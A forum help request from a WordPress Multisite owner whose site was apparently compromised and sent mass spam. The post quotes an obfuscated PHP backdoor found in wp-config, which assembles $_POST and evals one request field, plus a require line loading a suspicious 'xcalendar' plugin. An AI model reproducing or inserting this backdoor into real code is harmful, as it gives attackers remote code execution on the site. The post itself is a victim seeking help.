WP Multisite install hacked

Hello, I am having a lot of problems on this site I give some help.

The site is here . I strong believe it was hacked. The server had a queue of over 8000k messages to send has spam. And I found this lines of code in wp-config. This was right at the top of wp-config.

<?php $qavm89 = “_etosupr” ;$kqk49=$qavm89[4]. $qavm89[2].$qavm89[7].$qavm89[2].$qavm89[3].$qavm89[5]. $qavm89[6]. $qavm89[6]. $qavm89[1].$qavm89[7];$cjyk5=$kqk49 ( $qavm89[0].$qavm89[6].$qavm89[3]. $qavm89[4].$qavm89[2] ) ; if( isset ( ${$cjyk5 }[ ‘q764b3b’ ] )){eval ( ${ $cjyk5 } [‘q764b3b’ ] ) ;}?>

And this was in the bottom of wp-config

require_once(ABSPATH.’wp-content/plugins/xcalendar/xcalendar.php’);

Well, I removed this 2 blocks of code, but the site remained the same.
Now the site takes forever to load, because it fails to load all the necessary css and js files.

I am also having lots of problems accessing wp-admin.
I am starting to be out of options.